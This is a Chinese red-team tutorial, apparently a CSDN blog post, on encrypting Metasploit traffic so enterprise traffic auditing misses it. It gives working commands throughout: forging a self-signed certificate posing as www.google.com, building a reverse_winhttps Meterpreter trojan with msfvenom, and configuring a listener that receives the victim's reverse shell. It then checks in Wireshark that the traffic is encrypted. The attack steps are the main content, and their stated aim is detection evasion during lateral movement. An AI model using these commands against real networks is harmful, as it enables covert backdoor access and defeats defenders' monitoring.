红队隧道加密之MSF流量加密(二)

约定不等于承诺〃 2023-09-24 14:49 73阅读 0赞

## 前言 ##

如今大多数企业的内网都部署了流量审计服务, 用来专门分析流量特征, 比如后门特征和行为特征

若直接使用Metasploit对内网进行横向渗透, 其产生的流量会很容易被内网防护工具检测出来, 因此需对流量进行加密来绕过检测

这里介绍使用OpenSSL对MSF流量进行加密

## 演示步骤 ##

### 1.OpenSSL创建证书SSL/TLS证书 ###

在攻击机Kali输入如下命令生成`www..google.com.pem`证书文件

openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
    -subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
    -keyout www.google.com.key \
    -out www.google.com.crt && \
    cat www.google.com.key www.google.com.crt > www.google.com.pem && \
    rm -f www.google.com.key www.google.com.crt

![image-20221107110103415][]

在当前目录查看生成的证书文件: `cat www..google.com.pem`

![image-20221107111248924][]

### 2.生成MSF木马 ###

在证书文件所在目录输入如下命令生成msf木马

msfvenom -p windows/meterpreter/reverse_winhttps LHOST=192.168.47.134 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f exe -o msf.exe

![image-20221107111434221][]

### 3.MSF开启监听 ###

此处配置监听还需设置两个额外选项:

*  `set handlersslcert`: 设置处理程序时将使用的证书
 *  `set StagerVerifySSLCert`: 设置接收到连接时执行SSL证书验证

msf5 > use exploit/multi/handler 
    [*] Using configured payload generic/shell_reverse_tcp
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_winhttps
    payload => windows/meterpreter/reverse_winhttps
    msf5 exploit(multi/handler) > set lhost 192.168.47.134
    lhost => 192.168.47.134
    msf5 exploit(multi/handler) > set lport 443
    lport => 443
    msf5 exploit(multi/handler) > set handlersslcert /root/www.google.com.pem
    handlersslcert => /root/www.google.com.pem
    msf5 exploit(multi/handler) > set stagerverifysslcert true
    stagerverifysslcert => true

![image-20221107170236469][]

访问`https://192.168.47.134`, 查看此网页的证书

![1][]

![1][1 1]

### 4.受害机上线 ###

将msf木马丢到受害机中运行, 随后msf服务端收到目标主机的meterpreter会话

> 注意: 经过测试, 操作系统为win7的受害机不会上线

![image-20221107171548194][]

## 抓包分析 ##

先在meterpreter会话命令行随便输条指令, 这里输入`getuid`

![image-20221107172759201][]

随后打开wireshark抓取msf服务端与受害机之间的流量数据包, 可发现此流量使用了TLS协议加密

![image-20221107172425839][]

追踪TCP流, 在tls加密前这里的数据是明文数据, 而现在是加密后的乱码数据

![1][1 2]

##  ##

[image-20221107110103415]: https://img-blog.csdnimg.cn/img_convert/965be79a7730e742113bbf9dbac645cf.png
[image-20221107111248924]: https://img-blog.csdnimg.cn/img_convert/3444f886be5f146a8251b7eed0345667.png
[image-20221107111434221]: https://img-blog.csdnimg.cn/img_convert/674deeab6f8a81581ef4009442fbf2b3.png
[image-20221107170236469]: https://img-blog.csdnimg.cn/img_convert/b7a2fb46209e54ce4252d3949c59fc88.png
[1]: https://img-blog.csdnimg.cn/img_convert/cd0b79ac430b4b4eb31ad64e707eda9b.png
[1 1]: https://img-blog.csdnimg.cn/img_convert/fc1e81c8c1d835ba4240216870c189a6.png
[image-20221107171548194]: https://img-blog.csdnimg.cn/img_convert/0fa553550faafa13decf98df62be2918.png
[image-20221107172759201]: https://img-blog.csdnimg.cn/img_convert/70054bfe67647dafed41df5890b627ae.png
[image-20221107172425839]: https://img-blog.csdnimg.cn/img_convert/60f86c942a921af4d8ce1a211eefc6fc.png
[1 2]: https://img-blog.csdnimg.cn/img_convert/abfa0e99cbc9de8ef4ec5d7d18a6a766.png